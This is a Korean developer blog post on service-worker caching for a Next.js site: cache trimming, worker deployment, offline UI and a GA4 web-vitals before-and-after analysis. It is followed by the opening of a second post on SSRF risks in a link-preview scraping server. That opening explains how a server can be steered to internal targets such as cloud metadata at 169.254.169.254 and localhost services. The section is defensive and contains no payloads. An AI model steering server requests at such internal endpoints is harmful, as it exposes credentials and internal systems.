둘째, `next/image`는 원본 하나로 여러 너비의 변형을 만든다. srcset에 따라 어떤 기기는 640px 변형을, 어떤 기기는 1080px 변형을 요청하는데, 캐시에 1080px만 있는 상태에서 오프라인에 640px 요청이 오면 그대로 실패한다. URL이 다르니 캐시 미스가 나는 것이 당연하다. 이 문제는 요청 실패 시 같은 원본(`url` 파라미터)의 캐시된 다른 변형을 찾아 돌려주는 폴백으로 해결했다. 캐시를 앞에서부터 뒤져 처음 만나는 변형을 쓰므로 요청보다 크거나 작은 이미지가 나갈 수 있지만, 깨진 이미지보다는 낫다는 판단이다. HTML에서 이미지를 추출해 저장할 때도 원본당 1080px에 가장 가까운 변형 하나만 골라 저장해서, 변형이 무한정 쌓이는 것을 막았다.

## 캐시는 조용히 쌓인다: ?dpl= 쿼리와 엔트리 상한

기능이 돌아가기 시작하자 이번에는 인프라 쪽에서 함정이 왔다. 이 워커를 만들던 당시 Vercel은 정적 자산 URL에 배포 식별자인 `?dpl=` 쿼리를 붙였다. 파일 내용이 같아도 배포할 때마다 URL이 달라지므로, cache-first로 저장하는 `static` 캐시에는 **내용이 같은 파일이 배포 수만큼 쌓인다**. 1편에서 본 대로 Cache Storage에는 TTL이 없다. 그대로 두면 캐시는 단조 증가한다.

덧붙이면 이 전제는 그 뒤에 바뀌었다. Vercel이 2026년 7월부터 내용 주소 기반(content-addressed)의 immutable 정적 자산 경로를 도입하면서(Next.js 16.3부터 기본 활성)[^1], 지금 이 블로그의 정적 자산 URL에는 `?dpl=`이 붙지 않는다. 그래도 엔트리 상한은 남겨뒀다. 배포마다 해시가 바뀌는 청크와 이미지 변형처럼, 캐시가 단조 증가하는 구조 자체는 그대로이기 때문이다.

Workbox라면 `ExpirationPlugin`이 해주는 일을 직접 만들어야 했다. 캐시별 엔트리 상한을 두고, 넣을 때마다 초과분을 오래된 것부터 지우는 방식이다.

```javascript
async function putWithTrim(cacheName, request, response) {
  const cache = await caches.open(cacheName)
  await cache.put(request, response)
  const max = MAX_ENTRIES[cacheName]
  const keys = await cache.keys()
  if (max && keys.length > max) {
    await Promise.all(
      keys.slice(0, keys.length - max).map((key) => cache.delete(key)),
    )
  }
}
```

`cache.keys()`가 삽입 순서를 보장한다는 점[^2]을 이용하면 별도의 타임스탬프 관리 없이 앞에서부터 지우는 것으로 LRU 비슷한 동작이 된다. 정확히는 LRI(Least Recently Inserted)인데, 같은 키를 다시 `put`하면 스펙상 엔트리가 리스트 끝으로 이동하므로 재삽입 기준으로 오래된 것부터 지워지는 셈이라 이 용도로는 충분했다. 상한은 static 500, pages 200, images 300, rsc 300으로 잡았다. 참고로 지금 배포본의 `putWithTrim`에는 한 줄이 더 붙어 있다. 프리캐시한 오프라인 폴백과 홈은 캐시에 가장 먼저 삽입되는 탓에 상한을 넘기는 순간 제일 먼저 지워지므로, 그 두 URL은 트리밍 후보에서 빼고 센다.

## 워커 자신을 배포하는 문제

캐시 로직이 몇 번 바뀌는 동안, 워커 자신의 배포도 설계 대상이라는 것이 분명해졌다. [1편](/2026/08/service-worker-caching-1)의 라이프사이클에서 본 대로, 새 워커는 설치되어도 대기 상태에 머물고 탭을 열어둔 채 새로고침만 하는 사용자는 옛 캐시 로직에 계속 붙잡힌다. 이 블로그에서는 대기를 건너뛰는 쪽을 선택했다.

```javascript
const PRECACHE_URLS = [OFFLINE_URL, '/']

self.addEventListener('install', (event) => {
  event.waitUntil(
    caches
      .open(PAGES_CACHE)
      .then((cache) => cache.addAll(PRECACHE_URLS).then(() => cache.match('/')))
      // 페이지 로드 중에 SW가 설치되면 이미 로드된 이미지는 fetch 이벤트를
      // 거치지 않으므로, 프리캐시한 홈의 이미지를 여기서 직접 저장한다
      .then((home) => (home ? saveImagesFromHTML(home.clone()) : null))
      .then(() => self.skipWaiting()),
  )
})

self.addEventListener('activate', (event) => {
  event.waitUntil(
    caches
      .keys()
      .then((keys) =>
        Promise.all(
          keys
            .filter((key) => !ALL_CACHES.includes(key))
            .map((key) => caches.delete(key)),
        ),
      )
      .then(() => self.clients.claim()),
  )
})
```

`skipWaiting()`으로 새 워커를 즉시 활성화하고, `clients.claim()`으로 열려 있는 탭의 제어권도 바로 가져온다. 그리고 활성화 시점에 버전이 다른 캐시를 전부 지운다. `CACHE_VERSION`을 `v4`로 올리면 `static-v3`, `pages-v3` 같은 옛 캐시가 이때 정리되는 식이다. 캐시 무효화 단위를 개별 엔트리가 아니라 캐시 이름의 버전으로 잡으면, "옛 로직이 만든 캐시를 새 로직이 읽는" 부류의 문제를 통째로 피할 수 있다. 참고로 지금 배포본의 `activate`에는 `navigationPreload.enable()` 한 줄이 더 붙어 있다. 이 시점보다 한참 뒤에 넣은 것이라 위 스니펫에서는 빼 두고 마지막 절에서 따로 다룬다.

다만 `skipWaiting()`이 정답인 것은 아니다. 실행 중인 페이지의 제어권을 도중에 가로채므로, 코드 스플리팅된 청크를 지연 로딩하는 앱에서는 옛 HTML이 새 워커의 캐시 로직과 만나 청크 로드가 깨질 수 있다. 이 블로그도 Next.js 앱인 이상 이 위험에서 자유롭지 않다. 다만 열린 탭이 한참 뒤에 새 청크를 지연 로딩할 일이 드문 콘텐츠 중심 사이트이고, 깨져도 새로고침으로 복구되는 읽기 전용 화면이라 감수할 만하다고 판단한 것이다. 앱의 구조에 따라서는 대기 상태를 유지하고 사용자에게 "새 버전이 있습니다" 알림을 주는 쪽이 맞을 것이다.

## 오프라인을 보이게 만들기

여기까지는 리소스를 저장하는 이야기였다. 그런데 오프라인 지원은 저장만으로는 완성되지 않는다. 사용자가 "이 글은 오프라인에서도 읽을 수 있다"는 사실을 알지 못하면 기능은 없는 것과 같기 때문이다.

그래서 소프트 내비게이션으로 읽은 글이 처음 오프라인 저장소에 들어간 시점에, 서비스 워커가 클라이언트로 메시지를 보내 화면 하단에 "✓ 오프라인에 저장됨" 토스트를 띄우도록 했다(주소창 직접 진입 같은 하드 내비게이션 경로로 저장될 때는 아직 토스트가 없다). 서비스 워커 쪽에서는 `client.postMessage()`를 부르면 되는데, 페이지 쪽에서 사소하지만 찾기 어려운 함정이 하나 있었다. 워커가 보낸 메시지는 일단 큐에 쌓이고, 그 큐가 열려야 `message` 이벤트로 디스패치된다. `onmessage`에 핸들러를 대입하면 그 순간 큐가 열리지만 `navigator.serviceWorker.addEventListener('message', ...)`는 큐를 열지 않고, 그 밖에는 문서 로드가 끝나 `DOMContentLoaded`가 발화하는 시점에야 자동으로 열린다. `startMessages()`는 그 시점을 기다리지 않고 큐를 여는 호출이다[^3].

```typescript
if ('serviceWorker' in navigator) {
  void navigator.serviceWorker.register('/sw.js')
  navigator.serviceWorker.addEventListener('message', onMessage)
  navigator.serviceWorker.startMessages()
}
```

방문한 적 없는 페이지로의 진입에는 미리 프리캐시해 둔 `/offline` 안내 페이지를 응답한다. install 때는 이 안내 페이지와 함께 홈(`/`)도 프리캐시해 두므로, 설치 직후부터 최소한 홈은 오프라인에서 열린다. 매니페스트(`site.webmanifest`)까지 얹으면 홈 화면 설치가 가능한 PWA가 되는데, 매니페스트 자체는 아이콘과 이름을 선언하는 정적 파일이라 특별히 적을 것이 없다. PWA의 실질은 결국 서비스 워커에 있다.

![소프트 내비게이션으로 글에 들어가면 하단에 "오프라인에 저장됨" 토스트가 뜬다](./images/service-worker-caching/offline-saved-toast.png)

![네트워크를 끊고 새로고침해도 방금 읽은 글이 코드 하이라이트와 표까지 그대로 열린다](./images/service-worker-caching/offline-article.png)

## 정산: GA4에 남은 숫자들

효과가 있었는지는 추측할 필요가 없었다. 이 블로그는 [web-vitals 라이브러리](https://github.com/GoogleChrome/web-vitals)로 방문자의 핵심 웹 지표를 GA4 이벤트로 수집하고 있어서, 서비스 워커 배포 전후의 실사용자 데이터가 그대로 쌓여 있었다. 마침 비교 조건도 깨끗한 편이다. 캐싱 워커를 배포하기 전 한 달여 동안은 서비스 워커가 아예 등록되어 있지 않았고(이전에 있던 푸시 전용 워커도 제거된 상태였다), 배포 이후 구간은 책 출간으로 트래픽 구성이 바뀌기 전인 6월 말까지로 잘랐다.

> 측정 환경: web-vitals 라이브러리가 보고한 지표를 GA4 이벤트로 수집하고, GA4 Data API로 집계했다. 비교 구간은 서비스 워커가 없던 2026-04-21\~05-25와, 초기 버전 워커가 돌던 2026-05-27\~06-30이다. 글의 세대 라벨은 v1이 첫 캐싱 워커, v3이 뒤에 나올 이미지 수정판이다. 코드의 `CACHE_VERSION` 문자열은 푸시 전용 워커 시절과 구분하느라 v2부터 시작해 글 라벨과 하나씩 어긋나는데(글의 v1 = 코드 v2, 글의 v3 = 코드 v4), 혼동을 줄이기 위해 본문은 글 라벨로 통일한다. 한계를 미리 밝혀둔다. 첫째, GA4 Data API는 백분위수를 제공하지 않아 아래 수치는 모두 **평균**이다. 핵심 웹 지표의 표준인 p75가 아니므로 이상값의 영향을 받는다. 뒤에 나오듯 41.7초짜리 값이 섞이는 분포라, 표본 1천여 건의 평균이라도 오차가 수백 ms에 이를 수 있어 아래의 세 자리 숫자들은 그 해상도 안에서 읽어야 한다. 둘째, 통제된 실험이 아닌 관측 데이터라 기간에 따른 콘텐츠와 트래픽 구성 변화가 섞여 있다. 셋째, 신규/재방문 구분은 GA4의 기본 분류를 그대로 쓴 것이라 쿠키 기반 식별의 한계를 물려받는다. 넷째, 아래 수치는 싱가포르에서 오는 크롤러성 트래픽을 빼고 집계했다. 재방문자 쪽은 두 구간 모두 싱가포르 이벤트가 한 건도 없어 표가 달라지지 않지만, 신규 방문자 쪽은 24건에서 147건으로 6배 늘어난 데다 평균이 3,000ms대라 포함 여부가 결론을 바꾼다.

서비스 워커의 효과를 보려면 전체 평균보다 **신규 방문자와 재방문자를 갈라서** 볼 필요가 있다. 첫 방문의 첫 페이지는 서비스 워커가 아직 등록되기 전이라 영향이 제한적이고, 캐시가 쌓인 재방문자가 수혜 집단이기 때문이다. 재방문자 기준 결과는 다음과 같다.

| 지표 (재방문자, 평균) | SW 없음 (n=1,090~1,421) | SW v1 (n=1,295~1,821) | 변화       |
| --------------------- | ----------------------- | --------------------- | ---------- |
| FCP                   | 1,463ms                 | 829ms                 | **-43%**   |
| TTFB                  | 148ms                   | 673ms                 | **+525ms** |
| LCP                   | 885ms                   | 1,931ms               | **+118%**  |
| CLS                   | 0.168                   | 0.200                 | 소폭 악화  |

이 표에는 각주가 하나 필요하다. 기준 구간의 LCP 평균(885ms)이 FCP 평균(1,463ms)보다 작은데, 한 페이지뷰 안에서 LCP는 FCP보다 빠를 수 없으므로 이 역전은 두 지표의 보고 표본이 같지 않다는 뜻이다. web-vitals의 LCP는 사용자 상호작용이나 탭 전환 시점에야 확정되어 전송되므로, 어떤 페이지뷰가 LCP를 남기는가부터가 편향된 표본이고(실제 표본 수도 TTFB > FCP > LCP 순으로 줄어든다), 지표별 전후 비교는 각 지표의 표본끼리 견주는 것이라 성립하지만 지표 사이를 가로질러 읽는 것은 이 표에서 성립하지 않는다.

FCP의 개선 폭이 상당한데, 이것을 워커의 효과로 볼 여지를 키워주는 근거가 신규 방문자 쪽에 있다. 같은 기간 신규 방문자의 FCP는 1,311ms에서 1,227ms로 84ms 줄었다. 재방문자의 634ms에 견주면 7분의 1 남짓이다. 혜택을 받기 어려운 집단은 조금 좋아지는 데 그쳤고 받을 수 있는 집단이 그보다 훨씬 크게 좋아졌으니, 정적 자산과 폰트를 Cache Storage에서 즉시 응답한 효과가 있었다고 보는 편이 자연스럽다.

다만 이 대조를 인과의 증명으로 쓰기에는 유보가 필요하다. 우선 대조가 깨끗하지 않다. 신규 방문자도 첫 세션의 두 번째 페이지뷰부터는 워커의 제어를 받는다. 그리고 대조군도 그대로 있지 않았다. 신규 방문자의 FCP도 84ms 줄었고, 바로 아래에서 보듯 TTFB는 재방문자와 같은 방향으로 나빠졌다. 대조군이 함께 움직인 만큼은 워커와 무관한 성분이 있다는 뜻이라, 재방문자의 634ms 가운데 얼마가 워커 몫인지를 이 대조만으로 가릴 수는 없다. 다음으로 효과의 크기가 메커니즘만으로 다 설명되지 않는다. 재방문자라면 정적 자산 상당수가 HTTP 캐시에도 있었을 텐데 그 대비로도 634ms가 줄었다는 뜻이라, 기간 간 구성 변화가 일부 섞여 있다고 보는 것이 안전하다. 숫자 하나를 더 병기해 두면, v1 구간을 6월 말에서 자르지 않고 v3 배포 직전까지 늘려 잡으면 재방문자 FCP 평균은 1,066ms로, 개선 폭은 -43%가 아니라 -27%가 된다. 7월 이후는 책 출간으로 트래픽 구성이 바뀐 구간이라 본문 비교에서 제외했지만, 컷 위치에 따라 수치가 이만큼 움직인다는 것 자체가 이 비교의 해상도다. 기간 비교와 방문자 유형 비교는 어디까지나 근사이고, 이 구분을 정확히 하려고 뒤에서 `sw_controlled` 계측을 추가했다.

반대 방향의 숫자도 정직하게 봐야 한다. TTFB는 재방문자 기준 148ms에서 673ms로 크게 나빠졌다. 신규 방문자도 283ms에서 373ms로 올랐다. 내비게이션이 network-first 전략을 타면서 워커 기동과 fetch 경유가 첫 바이트 앞에 끼어든 것이 주된 용의자다. 다만 크기에는 유보를 달아야 한다. 1편에서 웜 기동은 2ms 안팎이었으니 이 평균을 만든 것은 대부분 콜드 기동일 텐데, 콜드 기동의 크기를 직접 잰 값은 없다(1편에서 본 대로 DevTools를 열면 재현되지 않는다). +525ms 전부를 워커 비용으로 귀속하는 것은 그래서 아직 단정이 아니고, 뒤에 나올 `sw_controlled` 계측으로 같은 기간 안에서 갈라 확인할 남은 과제다. 흥미로운 것은 그럼에도 FCP가 좋아졌다는 점이다. 첫 바이트는 늦어졌지만, 그 뒤에 오는 렌더링 차단 리소스들이 캐시에서 즉시 나오면서 첫 페인트까지의 총합은 오히려 줄었다. TTFB만 보고 있었다면 이 배포는 성능 후퇴로 읽혔을 것이다. 지표 하나로 캐싱 레이어를 평가하면 안 되는 이유다.

표에서 가장 조용한 줄인 CLS도 짚고 가야 한다. 서비스 워커는 응답의 바이트를 바꾸지 않으므로 CLS를 움직일 인과 경로가 마땅히 없다. 그런데도 0.168에서 0.200으로 19%가 움직였다는 것은, 두 기간의 콘텐츠와 트래픽 구성이 완전히 동질하지 않다는 신호로 읽는 것이 맞다. 위의 FCP 개선 폭에도 그만큼의 불확실성이 얹혀 있는 셈이다.

문제는 재방문자 LCP가 885ms에서 1,931ms로 나빠졌다는 것이었다. 처음에는 v1 워커의 결함을 의심했다. 당시 v1은 `/_next/image` 최적화 요청을 이미지로 분류하지 못하고(확장자 기반 판별이라 쿼리 스트링 URL을 놓쳤다) network-first로 흘려보내고 있었다. LCP 요소가 이미지인 페이지라면 캐시의 혜택 없이 워커 경유 비용만 매번 치른 셈이니, 그럴듯한 용의자였다.

그런데 데이터를 더 가르자 다른 그림이 나왔다. 페이지 유형별(전체 방문 기준이라 재방문자 표와 모집단이 달라 직접 비교는 아니고 경향 확인용이다)로 보면 LCP 요소가 썸네일 이미지인 홈과 목록 페이지는 629ms에서 740ms로 +112ms 수준이고, 악화는 LCP가 대부분 텍스트인 글 본문 페이지(1,244ms → 2,043ms)에 집중되어 있었다. 이미지 가설과 맞지 않는 분포다. 기기 구성 변화도 아니었다(데스크톱만 떼어 봐도 +651ms). 남은 교란은 기간마다 인기 글이 달랐다는 콘텐츠 구성 효과여서, 양쪽 기간 모두 표본이 30건 이상인 같은 글끼리 짝지어 비교했다. 그러자 그림이 달라졌다. 짝지은 14개 경로의 표본 가중 평균 악화는 +1,079ms로 여전히 커 보였는데, 그중 한 글의 v1 구간 평균 LCP가 41.7초였다. 표본 30건 이상의 평균이 41.7초라는 것은 튀는 관측 하나가 아니라, 그 글에서 v1 기간에 지속적으로 일어난 정체 모를 현상이라는 뜻이다. 이 글을 제외하면 같은 글 기준 악화는 **+191ms**로 모든 요청이 워커를 한 번 더 거치는 비용으로 설명되는 규모지만, 제외한 그 현상이 v1 워커가 유발한 것일 가능성도 배제하지 못하므로 결론에는 두 숫자를 다 남겨야 한다. 포함하면 +1,079ms, 제외하면 +191ms다.

정리하면 "LCP 1초 악화"의 실체는, 워커 경유로 인한 200ms 안팎의 회귀에 한 글의 설명되지 않는 41.7초가 얹혀 평균이 끌려간 것으로 보인다. GA4 Data API가 p75를 주지 못하고 평균만 주는 한계가 하마터면 엉뚱한 결론(이미지 캐싱 결함이 주범)으로 이어질 뻔한 사례다. 41.7초의 정체는 아직 모른다. 특정 글에서만 나온다는 것은 콘텐츠 문제일 수도, 계측 문제일 수도, v1 워커가 그 글에서만 밟은 지뢰일 수도 있는데, 값 하나만 수집하는 지금의 계측으로는 여기까지가 한계였다. 밝혀 두면 이 짝지은 경로 분석은 악화가 보인 LCP에만 적용했고, 개선으로 나온 FCP에는 같은 검증을 하지 않았다. 기준선 구간에 반대 방향의 극단값이 없었는지 확인하지 않았다는 뜻이므로, 앞의 -43%도 같은 종류의 왜곡 가능성을 안고 있다.

그래서 계측부터 고쳤다. web-vitals를 [attribution 빌드](https://github.com/GoogleChrome/web-vitals#attribution)로 교체하면 지표값과 함께 원인 추적용 정보가 따라온다. LCP라면 어느 요소였는지(CSS 셀렉터), 이미지라면 어떤 리소스였는지(URL), 그리고 전체 시간이 TTFB, 리소스 로드 지연, 리소스 로드 시간, 렌더 지연 중 어디서 쓰였는지가 나뉘어 나온다. 여기에 모든 지표 공통으로 내비게이션 유형과 서비스 워커 제어 여부를 파라미터로 실었다.

```typescript
const params = {
  value: Math.round(name === 'CLS' ? value * 1000 : value),
  navigation_type: navigationType,
  sw_controlled: navigator.serviceWorker?.controller ? 'yes' : 'no',
}

if (name === 'LCP') {
  const {attribution} = metric
  params.lcp_target = attribution.target // LCP 요소의 CSS 셀렉터
  params.lcp_url = attribution.url // 이미지라면 리소스 URL
  params.lcp_ttfb = Math.round(attribution.timeToFirstByte)
  params.lcp_resource_load_delay = Math.round(attribution.resourceLoadDelay)
  params.lcp_resource_load_duration = Math.round(
    attribution.resourceLoadDuration,
  )
  params.lcp_element_render_delay = Math.round(attribution.elementRenderDelay)
}
```

`sw_controlled`가 특히 요긴하다. 지금까지는 "서비스 워커 배포 전후"라는 기간 비교로 효과를 추정했지만, 이제부터는 같은 기간 안에서 워커가 제어한 페이지 뷰와 아닌 페이지 뷰를 직접 가를 수 있다. 다음 극단값이 나타나면 어느 글의 어느 요소가 어떤 단계에서 늦었는지가 데이터에 그대로 찍힐 것이다. 참고로 이런 커스텀 파라미터는 GA4 관리 화면에서 이벤트 범위의 커스텀 측정기준으로 등록해야 Data API로 조회할 수 있다.

그런데 2주쯤 데이터가 쌓인 뒤 적재량을 점검하다가 위 `sw_controlled` 줄이 틀렸다는 것을 알게 됐다. 같은 페이지 뷰에서 다섯 지표가 모두 나가므로 지표마다 `no`의 수가 비슷해야 하는데, 8월 21일부터 닷새 동안 TTFB와 FCP의 `no`는 214건과 207건인 반면 LCP는 40건, INP는 9건뿐이었다.

원인은 판정 시점이다. 이 워커는 `skipWaiting()`과 `clients.claim()`을 호출하므로, 첫 방문 페이지도 워커가 활성화되는 순간부터 `navigator.serviceWorker.controller`를 갖게 된다. 그 페이지의 내비게이션 요청은 워커를 거치지 않았는데도 그렇다. TTFB와 FCP는 로드가 끝나는 대로 보고돼 대체로 활성화보다 앞서지만 항상 앞서는 것은 아니고, LCP와 CLS, INP는 사용자가 상호작용하거나 페이지를 떠날 때 보고되므로 그 시점에는 거의 언제나 `controller`가 있다. 결과적으로 첫 방문의 LCP가 대부분 `yes`로 분류됐고, 닷새치 LCP 대조(`yes` 1,583ms 대 `no` 2,909ms)는 워커 효과가 아니라 늦게까지 머문 첫 방문자가 섞여 들어간 수치가 됐다.

판정 기준을 보고 시점과 무관한 값으로 바꿨다. `PerformanceNavigationTiming`의 `workerStart`는 그 요청의 fetch 이벤트를 워커에 넘기기 직전(워커가 떠 있지 않으면 기동하기 직전)에 찍는 시각으로, 워커가 응답을 돌려주지 않은 요청에서는 0으로 남는다.

```typescript
function isNavigationServedByServiceWorker() {
  const [navigation] = performance.getEntriesByType('navigation')
  return (navigation?.workerStart ?? 0) > 0
}
```

교훈은 소박하다. `controller`는 "지금 이 페이지를 워커가 제어하는가"에 답하고, `workerStart`는 "이 페이지의 응답이 워커를 거쳤는가"에 답한다. `clients.claim()`을 쓰는 워커에서 성능 지표에 필요한 것은 후자다.

수정 전 데이터를 어디까지 살릴 수 있는지도 처음에는 후하게 봤다. TTFB와 FCP는 로드 직후에 나가니 온전할 것이라고 여겼는데 그렇지 않았다. web-vitals의 `onTTFB`는 `document.readyState`가 `complete`가 아니면 `load` 이벤트를 기다렸다가 거기서 한 태스크를 더 미뤄 보고한다[^4]. 그 사이에 워커 등록은 하이드레이션 직후에 시작되고, install은 프리캐시 URL 두 개와 그 홈 HTML에 걸린 이미지까지 저장한 뒤 `skipWaiting()`으로 넘어간다. 첫 방문 페이지에서도 보고 시점에 이미 `controller`가 있을 수 있다는 뜻이다. 실제로 판정을 바꾸기 전 13일치와 바꾼 뒤 이틀치에서 신규 방문자가 `yes`로 분류된 비율을 견주면, TTFB는 30%에서 11%로, FCP는 23%에서 9%로 떨어진다. 같은 비율이 LCP는 86%에서 23%로, INP는 99%에서 32%로 움직이니 오분류의 폭이 같지는 않지만, TTFB와 FCP도 자유롭지는 않았던 셈이다. 수정 전에 쌓인 LCP와 CLS, INP의 `sw_controlled`는 버려야 하고, TTFB와 FCP도 이만큼의 오염을 감안하고 읽어야 한다.

그래서 `/_next/image`를 cache-first로 분류하도록 고쳤다(이 수정은 본문 이미지 프리캐시와 함께 같은 날 v3으로 묶여 배포됐다). 주범은 아니었지만 워커 경유 비용을 없앨 수 있는 지점인 것은 맞다. 배포 당일 하루치 초기 신호는 재방문자 평균 LCP 951ms, TTFB 391ms, FCP 603ms로 모두 v1 전체 구간(앞 표의 6월 말까지가 아니라 v1이 돌던 5월 말부터 v3 배포 전까지 전부를 집계한 것으로, 각각 1,532ms, 859ms, 1,066ms)보다 좋다. 다만 이 기준선은 앞 표와 달리 책 출간 이후의 트래픽 변동 구간까지 포함해 v1에 불리한 비교이고, 표본이 지표당 120~170건뿐인 데다 위에서 봤듯 평균은 극단값 몇 개에 크게 흔들리므로 어디까지나 참고 수준이다. 몇 주쯤 데이터가 쌓이면 후속으로 확인해 볼 생각이다.

![서비스 워커 배포 전후 재방문자와 신규 방문자의 FCP와 TTFB 평균 비교](./images/service-worker-caching/ga4-fcp-ttfb-before-after.png)

## 남은 과제와 솔직한 결론

TTFB 악화(재방문자 평균 +525ms)의 귀속은 위 계측 결함에서 살아남은 TTFB의 `sw_controlled`로 일부 확인할 수 있었다. 다만 `navigate`끼리의 대조는 쓸 수 없다. `no`는 첫 방문이라 DNS와 TLS 연결 비용이 얹혀 있어 워커 비용과 상쇄되고, 실제로 8월 13일부터 2주간 평균은 `no` 556ms(510건), `yes` 508ms(604건)로 거의 같았다. 대신 `navigation_type`이 `reload`인 표본은 양쪽 다 재방문이고 연결이 이미 열려 있어, 차이가 워커 경유 여부(하드 리로드는 워커를 우회한다)로 좁혀진다. 여기서는 `no` 51ms(12건), `yes` 595ms(64건)였다. 표본이 작아 정황 이상으로 쓰기는 어렵지만, 워커 경유 비용이 500ms 안팎이라는 위의 가설과 방향이 맞는다.

다만 이 12건을 분 단위로 펼쳐 보고 나서는 "작다"는 말로 넘길 일이 아니라는 생각이 들었다. 7건이 8월 22일 13시 12분과 14분, 16분 세 개의 분 버킷에 몰려 있었는데, 세어 보고 나서야 그게 내 트래픽이라는 것을 알았다. 하드 리로드가 정말 워커를 우회하는지 확인하겠다고 5분 동안 되풀이해 누른 새로고침이다. 다른 날 남긴 1건까지 더하면 12건 중 8건이 내 것이고, 서로 다른 방문으로 세면 12명이 아니라 5명이다. `yes` 쪽도 깨끗하지 않아서 데스크톱 35건 가운데 10건이 역시 내 것이다. 대조군이 양쪽 다 오염돼 있었던 셈이다. 버스트를 빼도 방향이 뒤집히지는 않는다. 남은 5건의 평균은 42ms로 오히려 더 빠르고, 그만큼 격차는 조금 더 벌어진다. 문제는 방향이 아니라 이 대조가 기다린다고 나아지는 종류가 아니라는 데 있다. 표본이 작은 것은 시간이 풀어 주지만, 표본이 서로 독립이 아닌 것은 시간이 풀어 주지 않는다. 하드 리로드를 하는 사람이 애초에 드문 트래픽에서는, 확인하겠다고 리로드를 누르는 나 자신이 대조군의 절반 이상을 만들게 된다.

워커 기동을 기다리지 않고 내비게이션 요청을 먼저 출발시키는 navigation preload가 이 숫자를 회복할 다음 과제인데, 글을 쓰는 사이 8월 23일에 이미 켰다. 그래서 방금 인용한 8월 13일부터 2주간의 대조에는 preload 배포일이 구간 한가운데에 들어 있다. 두 수치 모두 배포 전후가 섞인 값이라는 뜻이고, 켠 효과를 실사용자 데이터에서 가려낼 수 있는지는 [3편](/2026/08/service-worker-caching-3)에서 확인한다.

이 블로그의 명분도 짚어야 한다. "지하철에서 읽다가 터널에 들어가도 끊기지 않는 읽을거리"라는 명분으로 만들었지만, 그 명분조차 아직 절반만 채웠다. 터널은 완전 오프라인이 아니라 연결은 있는데 하염없이 느린 상태(lie-fi)인 경우가 많은데, network-first는 fetch가 실패해야 캐시로 넘어가므로 타임아웃 폴백이 없는 지금 구현은 그 상태에서 무력하다. 비행기 모드처럼 깨끗하게 실패하는 오프라인에서만 온전히 동작하는 셈이다.

돌아보면 이 연대기에서 작업량의 대부분은 캐싱 전략 자체가 아니라, App Router라는 프레임워크가 만드는 요청의 모양을 이해하는 데 들어갔다. 그리고 효과와 비용은 실사용자 데이터에 모두 남았는데, 어느 한 지표만 보았다면 이 배포를 완전히 잘못 평가했을 것이다. 서비스 워커 캐싱을 도입한다면 전후를 비교할 실사용자 지표 수집부터 갖추는 것이 순서라고 생각한다. 마지막으로, **필요하지 않다면 만들지 않는 것도 설계**다. fetch 핸들러는 모든 요청에 비용을 부과하고, 잘못 배포된 워커는 스스로 회수해야 한다. 그 기준으로 보면 이 블로그 자체는 절반의 요구와 절반의 학습 목적으로 만든, 경계선 위의 사례라는 것을 인정한다. 오프라인이라는 명확한 요구가 있을 때, 그때 이 시리즈가 지도가 되기를 바란다.

---

[^1]: [Optimized CDN caching and deploying of immutable static assets](https://vercel.com/changelog/optimized-cdn-caching-and-deploying-of-immutable-static-assets), Vercel Changelog (2026-07).

[^2]: [Cache.keys()](https://developer.mozilla.org/en-US/docs/Web/API/Cache/keys), MDN. 요청이 삽입된 순서로 반환됨을 명시한다.

[^3]: [ServiceWorkerContainer.startMessages()](https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorkerContainer/startMessages), MDN 및 [스펙의 startMessages() 정의](https://w3c.github.io/ServiceWorker/#dom-serviceworkercontainer-startmessages). client message queue는 `startMessages()` 호출과 `onmessage` setter의 첫 지정으로 활성화되고(스펙 3.4.6과 3.4.7), 그 밖에는 [HTML 스펙의 문서 로드 종료 단계](https://html.spec.whatwg.org/multipage/parsing.html#the-end)가 `DOMContentLoaded`를 발화시킨 태스크 안에서 활성화한다.

[^4]: [web-vitals의 `onTTFB` 소스](https://github.com/GoogleChrome/web-vitals/blob/main/src/onTTFB.ts), v6.1.0. `whenReady`가 `document.readyState !== 'complete'`이면 `load` 이벤트를 기다렸다가 `setTimeout`으로 한 태스크 더 미뤄 콜백을 부른다.

---

Source: https://yceffort.kr/2026/08/og-scraping-server-2.md
Title: <em>OG 스크래핑 서버</em>를 Node.js로 짓는다면 (2): SSRF는 어떻게 뚫리는가
Description: 사용자가 준 URL을 서버가 대신 여는 기능은 SSRF의 교과서적 조건을 명세로 갖고 있다. 화이트리스트를 뚫는 우회 여섯 가지를 먼저 보고, 그것을 막는 방어 원리 다섯 개를 Node에서 실제로 돌려본 기록. 손으로 IPv4-mapped를 벗기면 16진 표기에서 뚫리고, undici의 lookup 훅은 호스트가 IP 리터럴이면 아예 호출되지 않으며, URL.hostname은 IPv6 리터럴의 대괄호를 남긴다. OG 스크래핑 서버 설계 노트 2부작의 마지막 편이다.
Date: 2026-08-22
Tags: nodejs, security, ssrf, undici, deep-dive
Series: OG 스크래핑 서버 설계 노트

## Table of Contents

## 기능 자체가 취약점의 모양일 때

[1편](/2026/08/og-scraping-server-1)에서 런타임이 갈리는 첫 번째 지점으로 "소켓 직전까지의 통제권"을 꼽았다. 그 통제권이 왜 필요한지가 이 편의 내용이다.

1편을 읽지 않았어도 필요한 전제는 한 줄이다. **우리 서버는 사용자가 준 URL을 대신 열어 준다.**

SSRF(Server-Side Request Forgery)는 공격자가 서버로 하여금 공격자가 원하는 곳에 요청을 보내게 만드는 취약점이다. 이 정의에서 중요한 부분은 "요청을 보낸다"가 아니라 **"서버가 보낸다"** 쪽이다.

공격자의 브라우저와 우리 서버는 네트워크 위치가 다르기 때문이다.

```mermaid
flowchart LR
    A["공격자 브라우저"]
    S["우리 서버"]

    subgraph inner["내부망"]
        M["169.254.169.254<br/>클라우드 메타데이터"]
        P["10.0.x.x<br/>내부 어드민, DB, Redis"]
        L["127.0.0.1<br/>같은 호스트의 서비스"]
    end

    A -. "방화벽에 막힌다" .-> inner
    S == "요청이 안에서 나간다" ==> inner
```

SSRF는 공격자에게 우리 서버의 네트워크 위치를 잠깐 빌려주는 일에 가깝다. 방화벽은 여기서 아무 역할도 하지 못하는데, 요청이 바깥에서 들어오는 게 아니라 안에서 나가기 때문이다.

그리고 링크 미리보기는 SSRF가 가능해지는 두 조건을 기능 설명에 그대로 갖고 있다. 서버가 외부에서 온 URL로 요청을 보내야 하고, 그 URL은 사용자가 정한다. 취약점이 실수로 생기는 게 아니라 **기능의 모양이 곧 취약점의 모양**인 셈이다. 그래서 "조심해서 짜자"로는 잘 안 되고 구조로 막게 된다.

